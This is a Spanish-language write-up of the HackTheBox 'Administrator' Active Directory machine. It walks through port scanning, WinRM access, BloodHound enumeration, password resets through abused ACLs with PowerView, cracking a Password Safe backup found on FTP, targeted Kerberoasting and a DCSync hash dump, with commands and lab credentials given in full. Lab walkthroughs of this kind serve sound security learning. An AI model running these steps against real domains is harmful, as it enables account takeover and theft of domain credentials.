Resumen

Esta máquina es una muy buena introducción a Active Directory si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por WinRM, enumeramos el dominio con RustHound/BloodHound, abusamos de ACLs (GenericAll / ForceChangePassword) para pivotar entre usuarios, recuperamos credenciales desde un backup en FTP y terminamos con una cadena clásica hacia DCSync para obtener el hash de Administrator.

Aunque en HTB aparece como Medium, no me parece una máquina complicada. La dificultad real está en entender el camino de AD y qué significa cada permiso, más que en la explotación en sí.

Imagen del post


Enumeración

Arrancamos con un escaneo de puertos que ya nos da una pista clara: es un DC (Kerberos, LDAP, SMB, WinRM, etc.).

PORT      STATE SERVICE       REASON          VERSION
21/tcp    open  ftp           syn-ack ttl 127 Microsoft ftpd
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP
3269/tcp  open  tcpwrapped    syn-ack ttl 127
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
47001/tcp open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
...
Service Info: Host: DC; OS: Windows

SMB (445)

Con las credenciales proporcionadas podemos autenticarnos, pero la enumeración inicial no muestra nada especialmente útil.

nxc smb 10.129.75.64 -u Olivia -p 'ichliebedich' --shares
...
Share           Permissions     Remark
ADMIN$
C$
IPC$            READ            Remote IPC
NETLOGON        READ            Logon server share
SYSVOL          READ            Logon server share

nxc smb 10.129.75.64 -u Olivia -p 'ichliebedich' --users
...
olivia
michael
benjamin
emily
ethan
alexander
emma

Acceso inicial por WinRM

El siguiente paso lógico es probar WinRM, y efectivamente con Olivia podemos entrar.

nxc winrm 10.129.75.64 -u Olivia -p 'ichliebedich'
WINRM  10.129.75.64  5985  DC  [+] administrator.htb\Olivia:ichliebedich (Pwn3d!)

Enumeración de AD con RustHound + BloodHound

Una vez dentro, enumeramos el dominio con RustHound-CE y luego lo analizamos con BloodHound.

rusthound-ce --domain administrator.htb -u olivia@administrator.htb -z
...
MachineAccountQuota: 10
... .//20260117114901_administrator-htb_
rusthound-ce.zip
 created!

En el grafo vemos que Olivia tiene GenericAll sobre el usuario Michael. En la práctica, esto nos permite forzar el cambio de contraseña del usuario sin conocer la actual.

“The GenericAll permission grants OLIVIA@ADMINISTRATOR.HTB the ability to change the password of the user MICHAEL@ADMINISTRATOR.HTB without knowing their current password.”

Imagen del post


Pivot 1: Olivia → Michael (ForceChangePassword)

Subimos PowerView.ps1 (por ejemplo, con upload desde evil-winrm) y cambiamos la contraseña de Michael usando las credenciales de Olivia.

$SecPassword = ConvertTo-SecureString 'ichliebedich' -AsPlainText -Force
$Cred = New-Object 
System.Management
.Automation.PSCredential('ADMINISTRATOR\\olivia', $SecPassword)

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred

Con esto ya tenemos acceso como michael.

Imagen del post


Pivot 2: Michael → Benjamin

Siguiendo el camino del grafo, repetimos la misma idea: Michael puede forzar el cambio de password de Benjamin.

Imagen del post


FTP: recuperamos un backup de credenciales

Con Benjamin vemos algo nuevo: acceso a FTP, donde encontramos un archivo de backup.

Imagen del post

ftp> dir
...
10-05-24  08:13AM                  952 Backup.psafe3

El archivo es una base de datos de Password Safe V3.

file Backup.psafe3
Backup.psafe3: Password Safe V3 database

Extraemos el hash y lo crackeamos.

Imagen del post

Imagen del post

Abrimos el gestor y obtenemos 3 credenciales:

Imagen del post

Imagen del post

alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

Camino a Domain Admin

En BloodHound, mirando el Shortest Path to Domain Admin, vemos una ruta clara:

  • Emily tiene GenericWrite sobre Ethan.
  • Si comprometemos Ethan, podemos hacer DCSync para dumpear los hashes del dominio.

Imagen del post


Intento: Shadow Credentials (no soportado)

Probamos Shadow Credentials, pero el KDC no soporta autenticación con certificados y falla con:

minikerberos.protocol.errors.KerberosError:  Error Name: KDC_ERR_PADATA_TYPE_NOSUPP

Alternativa: Kerberoasting dirigido

Sin Shadow Credentials, seguimos por Kerberoasting. Primero sincronizamos la hora para evitar problemas con Kerberos.

sudo ntpdate -u 10.129.75.64 && python 
targetedKerberoast.py
 -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Crackeamos el hash y obtenemos la password:

hashcat -m 13100 ethan.hash /usr/share/wordlists/seclists/rockyou.txt --> limpbizkit

DCSync y escalada final

Con Ethan hacemos DCSync para obtener los hashes del dominio.

impacket-secretsdump -outputfile administrator_hashes -just-dc administrator/ethan@10.129.75.64

Imagen del post

Finalmente hacemos PtH con el hash de Administrator y quedamos pwned.

Imagen del post